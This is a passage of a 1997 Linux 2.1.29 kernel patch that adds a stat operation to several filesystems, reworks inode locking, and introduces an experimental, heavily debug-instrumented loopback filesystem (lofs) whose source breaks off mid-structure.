+++ linux/fs/ext2/symlink.c Sun Mar 23 12:53:57 1997 @@ -33,6 +33,7 @@ */ struct inode_operations ext2_symlink_inode_operations = { NULL, /* no file-operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/fat/file.c linux/fs/fat/file.c --- linux-2.1.29/fs/fat/file.c Sat May 10 18:17:15 1997 +++ linux/fs/fat/file.c Sun Mar 23 12:54:21 1997 @@ -42,6 +42,7 @@ struct inode_operations fat_file_inode_operations = { &fat_file_operations, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -90,6 +91,7 @@ */ struct inode_operations fat_file_inode_operations_1024 = { &fat_file_operations_1024, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/fcntl.c linux/fs/fcntl.c --- linux-2.1.29/fs/fcntl.c Sat May 10 18:17:15 1997 +++ linux/fs/fcntl.c Fri Feb 21 18:34:35 1997 @@ -36,7 +36,7 @@ return arg; } -asmlinkage int sys_dup2(unsigned int oldfd, unsigned int newfd) +asmlinkage_d(int sys_dup2(unsigned int oldfd, unsigned int newfd)) { int err = -EBADF; @@ -57,7 +57,7 @@ return err; } -asmlinkage int sys_dup(unsigned int fildes) +asmlinkage_d(int sys_dup(unsigned int fildes)) { int ret; @@ -67,7 +67,7 @@ return ret; } -asmlinkage long sys_fcntl(unsigned int fd, unsigned int cmd, unsigned long arg) +asmlinkage_d(long sys_fcntl(unsigned int fd, unsigned int cmd, unsigned long arg)) { struct file * filp; struct task_struct *p; diff -u --recursive --new-file linux-2.1.29/fs/filesystems.c linux/fs/filesystems.c --- linux-2.1.29/fs/filesystems.c Sat May 10 18:17:38 1997 +++ linux/fs/filesystems.c Wed Mar 5 21:21:21 1997 @@ -22,6 +22,7 @@ #include #include #include +#include #include #include #include @@ -32,7 +33,7 @@ extern void free_initmem(void); /* This may be used only once, enforced by 'static int callable' */ -asmlinkage int sys_setup(void) +asmlinkage_d(int sys_setup(void)) { static int callable = 1; int err = -1; @@ -108,6 +109,10 @@ #ifdef CONFIG_UFS_FS init_ufs_fs(); +#endif + +#ifdef CONFIG_LO_FS + init_lo_fs(); #endif mount_root(); diff -u --recursive --new-file linux-2.1.29/fs/inode.c linux/fs/inode.c --- linux-2.1.29/fs/inode.c Wed Jul 24 00:03:07 1996 +++ linux/fs/inode.c Sun Mar 16 16:46:35 1997 @@ -145,13 +145,13 @@ __wait_on_inode(inode); } -static inline void lock_inode(struct inode * inode) +void lock_inode(struct inode * inode) { wait_on_inode(inode); inode->i_lock = 1; } -static inline void unlock_inode(struct inode * inode) +void unlock_inode(struct inode * inode) { inode->i_lock = 0; wake_up(&inode->i_wait); @@ -159,7 +159,8 @@ /* * Note that we don't want to disturb any wait-queues when we discard - * an inode. + * an inode. Note also that the inode must be locked when clear_inode + * is called. * * Argghh. Got bitten by a gcc problem with inlining: no way to tell * the compiler that the inline asm function 'memset' changes 'inode'. @@ -168,13 +169,18 @@ * * The solution is the weird use of 'volatile'. Ho humm. Have to report * it to the gcc lists, and hope we can do this more cleanly some day.. + * + * Doh!!! This has been another one of those places where races are + * bound to occur. Just remember that the inode must remain locked + * whenever we can sleep... Please!!! --blah */ void clear_inode(struct inode * inode) { struct wait_queue * wait; - truncate_inode_pages(inode, 0); - wait_on_inode(inode); + if (!inode->i_lock) + printk(KERN_DEBUG "VFS: clear_inode called with !i_lock\n"); + truncate_inode_pages(inode, 0); /* may sleep */ if (IS_WRITABLE(inode)) { if (inode->i_sb && inode->i_sb->dq_op) inode->i_sb->dq_op->drop(inode); @@ -185,6 +191,7 @@ if (inode->i_count) nr_free_inodes++; memset(inode,0,sizeof(*inode)); + inode->i_lock = 1; ((volatile struct inode *) inode)->i_wait = wait; insert_inode_free(inode); } @@ -202,7 +209,9 @@ continue; if (inode->i_count || inode->i_dirt || inode->i_lock) return 0; + lock_inode(inode); clear_inode(inode); + unlock_inode(inode); } return 1; } @@ -395,7 +404,9 @@ kdevname(dev)); continue; } + lock_inode(inode); clear_inode(inode); + unlock_inode(inode); } } @@ -441,7 +452,9 @@ } if (inode->i_sb && inode->i_sb->s_op && inode->i_sb->s_op->put_inode) { - inode->i_sb->s_op->put_inode(inode); + inode->i_lock = 1; + inode->i_sb->s_op->put_inode(inode); /* sleeps here were once bad */ + unlock_inode(inode); if (!inode->i_nlink) return; } @@ -489,7 +502,7 @@ inode = first_inode; best = NULL; badness = 1000; - for (i = nr_inodes/2; i > 0; i--,inode = inode->i_next) { + for (i = nr_inodes/2; i > 0; i--,inode = inode->i_prev) { if (!inode->i_count) { unsigned long i = 999; if (!(inode->i_lock | inode->i_dirt)) @@ -523,6 +536,7 @@ if (best->i_count) goto repeat; found_good: + lock_inode(best); clear_inode(best); best->i_count = 1; best->i_nlink = 1; @@ -530,6 +544,7 @@ best->i_sem.count = 1; best->i_ino = ++ino; best->i_dev = 0; + unlock_inode(best); nr_free_inodes--; if (nr_free_inodes < 0) { printk ("VFS: get_empty_inode: bad free inode count.\n"); @@ -565,7 +580,7 @@ return inode; } -struct inode *__iget(struct super_block * sb, int nr, int crossmntp) +struct inode *iget(struct super_block * sb, int nr) { static struct wait_queue * update_wait = NULL; struct inode_hash_entry * h; @@ -615,19 +630,24 @@ iput(inode); goto repeat; } - if (crossmntp && inode->i_mount) { - struct inode * tmp = inode->i_mount; - tmp->i_count++; - iput(inode); - inode = tmp; - wait_on_inode(inode); - } if (empty) iput(empty); return_it: while (h->updating) sleep_on(&update_wait); + return inode; +} + +struct inode *traverse_mntp ( struct inode *inode ) +{ + while (inode->i_mount) { + struct inode * tmp = inode->i_mount; + tmp->i_count++; + iput(inode); + inode = tmp; + wait_on_inode(inode); + } return inode; } diff -u --recursive --new-file linux-2.1.29/fs/ioctl.c linux/fs/ioctl.c --- linux-2.1.29/fs/ioctl.c Sat May 10 18:17:15 1997 +++ linux/fs/ioctl.c Fri Feb 21 18:34:35 1997 @@ -46,7 +46,7 @@ } -asmlinkage int sys_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg) +asmlinkage_d(int sys_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg)) { struct file * filp; unsigned int flag; diff -u --recursive --new-file linux-2.1.29/fs/isofs/dir.c linux/fs/isofs/dir.c --- linux-2.1.29/fs/isofs/dir.c Sat May 10 18:17:15 1997 +++ linux/fs/isofs/dir.c Sun Mar 23 12:54:37 1997 @@ -44,6 +44,7 @@ struct inode_operations isofs_dir_inode_operations = { &isofs_dir_operations, /* default directory file-ops */ + generic_stat, /* stat */ NULL, /* create */ isofs_lookup, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/isofs/file.c linux/fs/isofs/file.c --- linux-2.1.29/fs/isofs/file.c Sat May 10 18:17:15 1997 +++ linux/fs/isofs/file.c Sun Mar 23 12:54:56 1997 @@ -37,6 +37,7 @@ struct inode_operations isofs_file_inode_operations = { &isofs_file_operations, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -52,5 +53,6 @@ NULL, /* writepage */ isofs_bmap, /* bmap */ NULL, /* truncate */ - NULL /* permission */ + NULL, /* permission */ + NULL /* smap */ }; diff -u --recursive --new-file linux-2.1.29/fs/isofs/inode.c linux/fs/isofs/inode.c --- linux-2.1.29/fs/isofs/inode.c Sat May 10 18:17:04 1997 +++ linux/fs/isofs/inode.c Fri Feb 21 18:34:35 1997 @@ -224,8 +224,8 @@ return vol_desc_start; } -struct super_block *isofs_read_super(struct super_block *s,void *data, - int silent) +static struct super_block *isofs_read_super(struct super_block *s,void *data, + int silent, const char *dev_name) { struct buffer_head *bh=NULL; int iso_blknum; diff -u --recursive --new-file linux-2.1.29/fs/isofs/symlink.c linux/fs/isofs/symlink.c --- linux-2.1.29/fs/isofs/symlink.c Sat May 10 18:17:01 1997 +++ linux/fs/isofs/symlink.c Sun Mar 23 12:55:12 1997 @@ -26,6 +26,7 @@ */ struct inode_operations isofs_symlink_inode_operations = { NULL, /* no file-operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -41,7 +42,8 @@ NULL, /* writepage */ NULL, /* bmap */ NULL, /* truncate */ - NULL /* permission */ + NULL, /* permission */ + NULL /* smap */ }; static int isofs_follow_link(struct inode * dir, struct inode * inode, diff -u --recursive --new-file linux-2.1.29/fs/lo/Makefile linux/fs/lo/Makefile --- linux-2.1.29/fs/lo/Makefile Wed Dec 31 19:00:00 1969 +++ linux/fs/lo/Makefile Fri Feb 21 18:34:35 1997 @@ -0,0 +1,15 @@ +# +# Makefile for the linux lofs-filesystem routines. +# +# Note! Dependencies are done automagically by 'make dep', which also +# removes any old dependencies. DON'T put your own dependencies here +# unless it's something special (ie not a .c file). +# +# Note 2! The CFLAGS definitions are now in the main makefile... + +O_TARGET := lo.o +O_OBJS := inode.o + +M_OBJS := $(O_TARGET) + +include $(TOPDIR)/Rules.make diff -u --recursive --new-file linux-2.1.29/fs/lo/inode.c linux/fs/lo/inode.c --- linux-2.1.29/fs/lo/inode.c Wed Dec 31 19:00:00 1969 +++ linux/fs/lo/inode.c Sun Mar 23 21:31:06 1997 @@ -0,0 +1,731 @@ +/* + * linux/fs/lo/inode.c + * + * Copyright (C) 1996, 1997 Benjamin LaHaise + * + * lofs v0.9 - a loopback filesystem for linux 2.1.29 + VFS stat + * + * Based on linux/fs/nfs/inode.c and others. + * + * This is FREE software with NO WARRANTY. See the file COPYING for details. + * + */ + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +static struct file_system_type lo_fs_type; +static struct super_operations lo_sops; +static struct inode_operations lo_iops; + +static void lo_put_super(struct super_block *); + +#define DEBUG +#ifdef DEBUG +#define dprintk printk +#else +#define dprintk (void) +#endif + +static void checkinode ( struct inode *ino, char *msg) +{ + if (ino) { + if (ino->i_count <= 0) + printk(KERN_WARNING "lo: checkinode(%ld) - i_count is %d - %s\n", ino->i_ino, ino->i_count, msg); + if (!ino->u.lo_i.inode) + printk(KERN_WARNING "lo: checkinode(%ld) - underlying is NULL! (%s)\n", ino->i_ino, msg); + else if (ino->u.lo_i.inode->i_count <= 0) + printk(KERN_WARNING "lo: checkinode(%ld) - underlying i_count is %d (%s)\n", ino->i_ino, ino->u.lo_i.inode->i_count, msg); + } + else + printk(KERN_WARNING "lo: checkinode - inode is NULL! (%s)\n", msg); +} + +static void lo_update_inode ( struct inode *dest, struct inode *src ) +{ + /*dest->i_dev = src->i_dev;*/ /* methinks so? */ + + dest->i_mode = src->i_mode; + dest->i_nlink = src->i_nlink; + dest->i_uid = src->i_uid; + dest->i_gid = src->i_gid; + dest->i_rdev = src->i_rdev; + dest->i_size = src->i_size; + dest->i_atime = src->i_atime; + dest->i_mtime = src->i_mtime; + dest->i_ctime = src->i_ctime; + dest->i_blksize = src->i_blksize; + dest->i_blocks = src->i_blocks; +} + +/* + * lo needs to be able to 'automount' filesystems that are underlying whatever + * is being looped back... i.e. my /home has /home/dot1 and /home/dot2 mounted + * beneath it, so using lo to loopback mount /home has to deal with the filesystem + * from /, /home/dot1 and /home/dot2. This whole mess is dealt with by automagically + * creating a new superblock for the superblocks found as we're traversing the fs. + * It would be nice to use different inodes for the underlying inodes, but that would + * be difficult. + */ +static struct super_block *lo_automount ( struct super_block *sb ) +{ + struct super_block *s; + kdev_t dev; + + if (!(dev = get_unnamed_dev())) { + printk(KERN_ERR "lo: no unnamed devices\n"); + return NULL; + } + for (s = 0+super_blocks ;; s++) { + if (s >= NR_SUPER+super_blocks) { + printk(KERN_ERR "lo: no free super blocks\n"); + return NULL; + } + if (!(s->s_dev)) + break; + } + + s->s_dev = dev; + s->s_flags = sb->s_flags; + s->s_covered = NULL; + s->s_rd_only = 0; + s->s_dirt = 0; + s->s_type = &lo_fs_type; + + return s; +} + +static struct super_block *lo_find_automount_sb ( struct super_block *sb, struct super_block *target ) +{ + struct super_block *cur_sb = sb; + for ( cur_sb = sb; cur_sb->u.lo_sb.s_sb != target; cur_sb = cur_sb->u.lo_sb.s_lo_next) + ; + + if (!cur_sb && sb->u.lo_sb.s_automount_enabled) + cur_sb = lo_automount(target); + + return cur_sb; +} + +static int lo_notify_change ( struct inode *ino, struct iattr *ia ) +{ + int ret; + + checkinode(ino, "lo_notify_change"); + dprintk("lo_notify_change\n"); + if (ino->u.lo_i.inode->i_sb && + ino->u.lo_i.inode->i_sb->s_op && + ino->u.lo_i.inode->i_sb->s_op->notify_change) { + ret = ino->u.lo_i.inode->i_sb->s_op->notify_change(ino->u.lo_i.inode, ia); + if (ret) + return ret; + } else { + if ((ret = inode_change_ok(ino->u.lo_i.inode, ia)) != 0) + return ret; + + inode_setattr(ino->u.lo_i.inode, ia); + } + + lo_update_inode(ino, ino->u.lo_i.inode); + checkinode(ino, "post lo_notify_change"); + return 0; +} + +static void lo_stat ( struct inode *inode, struct stat *statbuf ) +{ + checkinode(inode, "lo_stat"); + inode->u.lo_i.inode->i_count++; + if (inode->u.lo_i.inode->i_op && + inode->u.lo_i.inode->i_op->stat) + inode->u.lo_i.inode->i_op->stat(inode->u.lo_i.inode, statbuf); + else + generic_stat(inode->u.lo_i.inode, statbuf); + iput(inode); + return; +} + +static int lo_create ( struct inode *dir, const char *name, int namelen, int mode, struct inode **result ) +{ + int err = -EACCES; + checkinode(dir, "lo_create"); + dprintk("lo_create\n"); + if (dir->u.lo_i.inode->i_op && + dir->u.lo_i.inode->i_op->create) { + dir->u.lo_i.inode->i_count++; + down(&dir->u.lo_i.inode->i_sem); + err = dir->u.lo_i.inode->i_op->create(dir->u.lo_i.inode, name, namelen, mode, result); + up(&dir->u.lo_i.inode->i_sem); + if (!err && ((*result)->i_sb == dir->u.lo_i.inode->i_sb) && (S_ISDIR((*result)->i_mode) || S_ISLNK((*result)->i_mode))) { + struct inode *inode = *result; + if (!(*result = iget(dir->i_sb, inode->i_ino))) + err = -EACCES; /* should be impossible??? */ + iput(inode); + checkinode(*result, "lo_create - res"); + } + } + checkinode(dir, "post lo_create"); + iput(dir); + return err; +} + +static int lo_link ( struct inode *oldinode, struct inode *dir, const char *name, int namelen ) +{ + int err = -EPERM; + checkinode(dir, "lo_link-dir"); + checkinode(oldinode, "lo_link-oldinode"); + dprintk("lo_link\n"); + if (dir->u.lo_i.inode->i_op && + dir->u.lo_i.inode->i_op->link) { + dir->u.lo_i.inode->i_count++; + oldinode->u.lo_i.inode->i_count++; + down(&dir->u.lo_i.inode->i_sem); + err = dir->u.lo_i.inode->i_op->link(oldinode->u.lo_i.inode, dir->u.lo_i.inode, name, namelen); + up(&dir->u.lo_i.inode->i_sem); + } + checkinode(dir, "post lo_link-dir"); + checkinode(oldinode, "post lo_link-oldinode"); + iput(oldinode); + iput(dir); + return err; +} + +static int lo_unlink ( struct inode *dir, const char *name, int namelen ) +{ + int err = -EPERM; + checkinode(dir, "lo_unlink-dir"); + dprintk("lo_unlink\n"); + if (dir->u.lo_i.inode->i_op && + dir->u.lo_i.inode->i_op->unlink) { + dir->u.lo_i.inode->i_count++; + err = dir->u.lo_i.inode->i_op->unlink(dir->u.lo_i.inode, name, namelen); + } + checkinode(dir, "post lo_unlink-dir"); + iput(dir); + return err; +} + +static int lo_symlink ( struct inode *dir, const char *name, int namelen, const char *oldname ) +{ + int err = -EPERM; + checkinode(dir, "lo_symlink-dir"); + dprintk("lo_symlink\n"); + if (dir->u.lo_i.inode->i_op && + dir->u.lo_i.inode->i_op->symlink) { + dir->u.lo_i.inode->i_count++; + err = dir->u.lo_i.inode->i_op->symlink(dir->u.lo_i.inode, name, namelen, oldname); + } + checkinode(dir, "post lo_symlink-dir"); + iput(dir); + return err; +} + +static int lo_mkdir ( struct inode *dir, const char *name, int namelen, int mode ) +{ + int err = -EPERM; + checkinode(dir, "lo_mkdir-dir"); + dprintk("lo_notify_mkdir\n"); + if (dir->u.lo_i.inode->i_op && + dir->u.lo_i.inode->i_op->mkdir) { + dir->u.lo_i.inode->i_count++; + down(&dir->u.lo_i.inode->i_sem); + err = dir->u.lo_i.inode->i_op->mkdir(dir->u.lo_i.inode, name, namelen, mode); + up(&dir->u.lo_i.inode->i_sem); + } + checkinode(dir, "post lo_mkdir-dir"); + iput(dir); + return err; +} + +static int lo_rmdir ( struct inode *dir, const char *name, int namelen ) +{ + int err = -EPERM; + checkinode(dir, "lo_rmdir-dir"); + dprintk("lo_rmdir\n"); + if (dir->u.lo_i.inode->i_op && + dir->u.lo_i.inode->i_op->rmdir) { + dir->u.lo_i.inode->i_count++; + err = dir->u.lo_i.inode->i_op->rmdir(dir->u.lo_i.inode, name, namelen); + } + checkinode(dir, "post lo_rmdir-dir"); + iput(dir); + return err; +} + +static int lo_mknod ( struct inode *dir, const char *name, int namelen, int mode, int dev ) +{ + int err = -EPERM; + checkinode(dir, "lo_mknod-dir"); + dprintk("lo_mknod\n"); + if (dir->u.lo_i.inode->i_op && + dir->u.lo_i.inode->i_op->mknod) { + dir->u.lo_i.inode->i_count++; + down(&dir->u.lo_i.inode->i_sem); + err = dir->u.lo_i.inode->i_op->mknod(dir->u.lo_i.inode, name, namelen, mode, dev); + up(&dir->u.lo_i.inode->i_sem); + } + checkinode(dir, "post lo_mknod-dir"); + iput(dir); + return err; +} + +static int lo_rename ( struct inode *old_dir, const char *old_name, int old_len, + struct inode *new_dir, const char *new_name, int new_len, int must_be_dir ) +{ + int err = -EPERM; + checkinode(old_dir, "lo_rename-old_dir"); + checkinode(new_dir, "lo_rename-new_dir"); + dprintk("lo_rename\n"); + if (old_dir->u.lo_i.inode->i_op && + old_dir->u.lo_i.inode->i_op->rename) { + old_dir->u.lo_i.inode->i_count++; + new_dir->u.lo_i.inode->i_count++; + down(&new_dir->u.lo_i.inode->i_sem); + err = old_dir->u.lo_i.inode->i_op->rename( + old_dir->u.lo_i.inode, old_name, old_len, + new_dir->u.lo_i.inode, new_name, new_len, must_be_dir); + up(&new_dir->u.lo_i.inode->i_sem); + } + checkinode(old_dir, "post lo_rename-old_dir"); + checkinode(new_dir, "post lo_rename-new_dir"); + iput(old_dir); + iput(new_dir); + return err; +} + +static int lo_readlink ( struct inode *dir, char *buf, int bufsiz ) +{ + int err = -EINVAL; + checkinode(dir, "lo_readlink-dir"); + dprintk("lo_readlink\n"); + if (dir->u.lo_i.inode->i_op && + dir->u.lo_i.inode->i_op->readlink) { + dir->u.lo_i.inode->i_count++; + err = dir->u.lo_i.inode->i_op->readlink(dir->u.lo_i.inode, buf, bufsiz); + } + checkinode(dir, "post lo_readlink-dir"); + iput(dir); + return err; +} + +/* kludgey - replace when up/down problem fixed */ +static void lo_truncate ( struct inode *inode ) +{ + checkinode(inode, "lo_truncate"); + printk(KERN_WARNING "lo_truncate - AAARRRGGGHHH!!!\n"); +#if 0 + struct iattr newattrs; + + dprintk("lo_truncate\n"); + down(&inode->u.lo_i.inode->i_sem); + newattrs.ia_size = inode->i_size; + newattrs.ia_valid = ATTR_SIZE | ATTR_CTIME; + notify_change(inode->u.lo_i.inode, &newattrs); + vmtruncate(inode->u.lo_i.inode, inode->i_size); + if (inode->u.lo_i.inode->i_op && + inode->u.lo_i.inode->i_op->truncate) + inode->u.lo_i.inode->i_op->truncate(inode->u.lo_i.inode); + up(&inode->u.lo_i.inode->i_sem); +#endif + iput(inode); +} + +static int lo_lookup ( struct inode *dir, const char *name, int len, struct inode **result ) +{ + int err = -ENOTDIR; + checkinode(dir, "lo_lookup"); + dprintk("lo_lookup(%ld)\n", dir->i_ino); + if (dir->u.lo_i.inode->i_op && + dir->u.lo_i.inode->i_op->lookup) { + dir->u.lo_i.inode->i_count++; + err = dir->u.lo_i.inode->i_op->lookup(dir->u.lo_i.inode, name, len, result); + if (!err && ((*result)->i_sb == dir->u.lo_i.inode->i_sb) && (S_ISDIR((*result)->i_mode)/* || S_ISLNK((*result)->i_mode)*/)) { + struct inode *inode = *result; + int before = inode->i_count; + if (!(*result = iget(dir->i_sb, inode->i_ino))) + err = -EACCES; /* should be impossible??? */ + if ((*result)->i_lock) + printk(KERN_WARNING "lo_lookup: DOH! inode (%ld use %d) is locked (uh-oh)\n", (*result)->i_ino, (*result)->i_count); + checkinode(*result, "lo_lookup - result"); + if( (((*result)->i_count == 1) && (inode->i_count != (before+1))) || + (((*result)->i_count > 1) && (inode->i_count != before)) ) + printk("lo_lookup - i_count %d - under is %d, was %d\n", (*result)->i_count, inode->i_count, before); + iput(inode); + if (!inode->i_count) + printk("lo_lookup - i_count now zero, was %d\n", before); + checkinode(*result, "lo_lookup - result2"); + } + } +#ifdef DEBUG + if (!err) + dprintk("lo_lookup: got %ld\n", (*result)->i_ino); +#endif + checkinode(dir, "post lo_lookup"); + iput(dir); + return err; +} + +/* inode is from lo, dir could be anything */ +int lo_follow_link ( struct inode *dir, struct inode *inode, int flag, int mode, struct inode **result ) +{ + int err = 0; + checkinode(inode, "lo_follow_link - inode"); + if (inode->u.lo_i.inode->i_op && + inode->u.lo_i.inode->i_op->follow_link) { + dir->i_count++; + inode->u.lo_i.inode->i_count++; + err = inode->u.lo_i.inode->i_op->follow_link(dir, inode->u.lo_i.inode, flag, mode, result); + if (!err && ((*result)->i_sb == inode->u.lo_i.inode->i_sb) && (S_ISDIR((*result)->i_mode) || S_ISLNK((*result)->i_mode))) { + struct inode *ino = *result; + if (!(*result = iget(inode->i_sb, ino->i_ino))) + err = -EACCES; /* should be impossible??? */ + if ((*result)->i_lock) + printk(KERN_WARNING "lo_follow_link: DOH! inode (%ld use %d) is locked (uh-oh)\n", (*result)->i_ino, (*result)->i_count); + iput(ino); + checkinode(*result, "lo_follow_link - result"); + } + } + else { + *result = inode; + inode->i_count ++; + } + checkinode(inode, "post lo_follow_link - inode"); + iput(dir); + iput(inode); + return err; +} + +static int lo_open ( struct inode *inode, struct file *file ) +{ + int error = 0; + checkinode(inode, "lo_open"); + if (!file) { + printk(KERN_WARNING "lo_open: Doh! file is NULL...\n"); + return -EINVAL; + } + file->private_data = NULL; + if (S_ISDIR(inode->i_mode)) { + struct file *filp; + dprintk("lo_open: - is a directory.... (hmmm)\n"); + filp = get_empty_filp(); + if (filp) { + dprintk("lo_open: got filp\n"); + file->private_data = filp; + if (!file->f_inode) + printk(KERN_WARNING "lo_open: what is happenning? - f_inode is NULL!!!\n"); + if (file->f_inode != inode) + printk(KERN_WARNING "lo_open: what is happenning? - f_inode is not the same as inode!!!\n"); + filp->f_inode = file->f_inode->u.lo_i.inode; + filp->f_inode->i_count ++; + + dprintk("lo_open: got f_inode\n"); + filp->f_mode = file->f_mode; + filp->f_flags = file->f_flags; + filp->f_pos = file->f_pos; + filp->f_reada = file->f_reada; + if (filp->f_inode->i_op) + filp->f_op = filp->f_inode->i_op->default_file_ops; + else + filp->f_op = NULL; + dprintk("lo_open: pre open\n"); + if (filp->f_op && filp->f_op->open) + error = filp->f_op->open(filp->f_inode, filp); + filp->f_flags &= ~(O_CREAT | O_EXCL | O_NOCTTY | O_TRUNC); + dprintk("lo_open: post open\n"); + if (error) { + filp->f_count--; + printk(KERN_WARNING "lo_open: error(%d)\n", error); + } + } + else + error = -ENFILE; + } + else { + printk(KERN_WARNING "lo_open: - is a file... DOH!!!!!\n"); + error = -EOPNOTSUPP; + } + checkinode(inode, "post lo_open"); + dprintk("lo_open: done (%d)\n", error); + return error; +} + +static void lo_release ( struct inode *inode, struct file *file ) +{ + checkinode(inode, "lo_release"); + dprintk("lo_release\n"); + if (file) { +#if 0 + printk(KERN_WARNING "lo_release (%d):%ld (%d,%d)\n", inode->u.lo_i.inode->i_dev, inode->i_ino, file->f_count, + ((struct file *)file->private_data)->f_count); +#endif + fput(file->private_data, inode->u.lo_i.inode); + } + dprintk("lo_release done\n"); + checkinode(inode, "post lo_release"); +} + +static void lo_read_inode(struct inode * inode) +{ + dprintk("lo_read_inode(%ld)\n", inode->i_ino); + inode->u.lo_i.inode = iget(inode->i_sb->u.lo_sb.s_sb, inode->i_ino); + if (!inode->u.lo_i.inode) + printk(KERN_ERR "lo: Doh! - lo_read_inode couldn't iget something happy\n"); + lo_update_inode(inode, inode->u.lo_i.inode); + inode->i_op = &lo_iops; + if (S_ISCHR(inode->i_mode)) + inode->i_op = &chrdev_inode_operations; + else if (S_ISBLK(inode->i_mode)) + inode->i_op = &blkdev_inode_operations; + else if (S_ISFIFO(inode->i_mode)) + init_fifo(inode); + else if (!S_ISDIR(inode->i_mode) && !S_ISLNK(inode->i_mode)) + printk(KERN_ERR "lo: lo_read_inode: Doh! - not a directory!!!\n"); + + checkinode(inode, "lo_read_inode"); +} + +static void lo_put_inode(struct inode * inode) +{ + struct inode *ino = inode->u.lo_i.inode; +#if 0 + inode->i_lock = 1; +#endif +#if 0 + printk("lo_put_inode(%ld): %d %d\n", inode->i_ino, inode->i_count, inode->u.lo_i.inode->i_count); +#endif + checkinode(inode, "lo_put_inode"); + if (inode->i_count != 1) + printk(KERN_WARNING "lo_put_inode(%ld): i_count is %d\n", inode->i_ino, inode->i_count); + if (ino) + iput(ino); +#if 0 + clear_inode(inode); + inode->i_lock = 1; /* clear_inode wipes i_lock */ +#endif + unlock_inode(inode); +} + +void lo_statfs(struct super_block *sb, struct statfs *buf, int bufsiz) +{ + dprintk("lo_statfs\n"); + if (sb->u.lo_sb.s_sb->s_op && sb->u.lo_sb.s_sb->s_op->statfs) + sb->u.lo_sb.s_sb->s_op->statfs(sb->u.lo_sb.s_sb, buf, bufsiz); +} + +int lo_readpage ( struct inode *inode, struct page *page ) +{ + printk(KERN_WARNING "lo_readpage\n"); + if (inode->u.lo_i.inode->i_op) + return inode->u.lo_i.inode->i_op->readpage(inode->u.lo_i.inode, page); + return -EOPNOTSUPP; +} + +int lo_writepage ( struct inode *inode, struct page *page ) +{ + printk(KERN_WARNING "lo_writepage\n"); + if (inode->u.lo_i.inode->i_op) + return inode->u.lo_i.inode->i_op->writepage(inode->u.lo_i.inode, page); + return -EOPNOTSUPP; +} + +int lo_bmap ( struct inode *inode, int block ) +{ + printk(KERN_WARNING "lo_bmap\n"); +#if 0 + if ((inode->u.lo_i.inode->i_op) && (inode->u.lo_i.inode->i_op->bmap)) + return inode->u.lo_i.inode->i_op->bmap(inode->u.lo_i.inode, block); +#endif + return -EINVAL; +} + +static long lo_dir_read ( struct inode *inode, struct file *file, char *buf, unsigned long count ) +{ + printk(KERN_WARNING "lo_read - on a dir???\n"); + return -EISDIR; +} + +static int lo_readdir ( struct inode *inode, struct file *file, void *dirent, filldir_t filldir ) +{ + int err = -EOPNOTSUPP; + + checkinode(inode, "lo_readdir"); + dprintk("lo_readdir\n"); + if (!file) + printk(KERN_WARNING "lo_readdir: What???? file is NULL!!!\n"); + else if (file->private_data && + ((struct file *)file->private_data)->f_op && + ((struct file *)file->private_data)->f_op->readdir) + err = ((struct file * )file->private_data)->f_op->readdir(inode->u.lo_i.inode, file->private_data, dirent, filldir); + checkinode(inode, "post lo_readdir"); + + return err; +} + +static int lo_parse_options ( struct super_block *sb, char *options ) +{ + while ( *options ) { +#if 0 + int ret; + if ( !strncmp( "dir=", options, 4 ) ) { + dprintk("lo: using directory: %s\n", options+4); + ret = _namei(options+4, NULL, 1, &sb->u.lo_sb.s_rootinode); + return ret; + } + else +#endif + { + printk(KERN_WARNING "lo: unrecognized options '%s'\n", options); + return -1; + } + } + return 0; +} + +/* + * The way this works is that the mount process passes a structure + * in the data argument which contains an open socket to the NFS + * server and the root file handle obtained from the server's mount + * daemon. We stash these away in the private superblock fields. + * Later we can add other mount parameters like caching values. + */ + +struct super_block *lo_read_super(struct super_block *sb, + void *raw_data, int silent, + const char *dev_name) +{ + int ret; + + sb->u.lo_sb.s_sb = NULL; + sb->u.lo_sb.s_rootinode = NULL; + MOD_INC_USE_COUNT; + lock_super(sb); + if (!raw_data) { + printk(KERN_WARNING "lo_read_super: missing data argument\n"); + sb->s_dev = 0; + MOD_DEC_USE_COUNT; + return NULL; + } + + ret = lo_parse_options(sb, raw_data); + if (!ret) + ret = namei(dev_name, &sb->u.lo_sb.s_rootinode); + if (ret) { + unlock_super(sb); + printk(KERN_WARNING "lo_read_super: namei failed? (ret = %d)\n", ret); + MOD_DEC_USE_COUNT; + return NULL; + } + sb->u.lo_sb.s_sb = sb->u.lo_sb.s_rootinode->i_sb; + + unlock_super(sb); + sb->s_op = &lo_sops; + sb->s_mounted = iget(sb, sb->u.lo_sb.s_rootinode->i_ino); + if (!sb->s_mounted) { + printk(KERN_WARNING "lo_read_super: iget failed\n"); + iput(sb->u.lo_sb.s_rootinode); + MOD_DEC_USE_COUNT; + return NULL; + } + return sb; +} + +void lo_put_super ( struct super_block *sb ) +{ + dprintk("lo_put_super\n"); + lock_super(sb); + iput(sb->u.lo_sb.s_rootinode); + sb->s_dev = 0; + unlock_super(sb); + dprintk("lo: released super\n"); + MOD_DEC_USE_COUNT; +} + +/*----*/ +static struct super_operations lo_sops = { + lo_read_inode, /* read inode */ + lo_notify_change, /* notify change */ + NULL, /* write inode */ + lo_put_inode, /* put inode */ + lo_put_super, /* put superblock */ + NULL, /* write superblock */ + lo_statfs, /* stat filesystem */ + NULL +}; + +static struct file_operations lo_fops = { + NULL, /* llseek */ + lo_dir_read, /* read */ + NULL, /* write */ + lo_readdir, /* readdir */ + NULL, /* select */ + NULL, /* ioctl */ + NULL, /* mmap */ + lo_open, /* open */ + lo_release, /* release */ + NULL, /* fsync */ + NULL, /* fasync */ + NULL, /* check_media_change */ + NULL /* revalidate */ +}; + +static struct inode_operations lo_iops = { + &lo_fops, /* default file operations */ + lo_stat, /* stat */ + lo_create, /* create */ 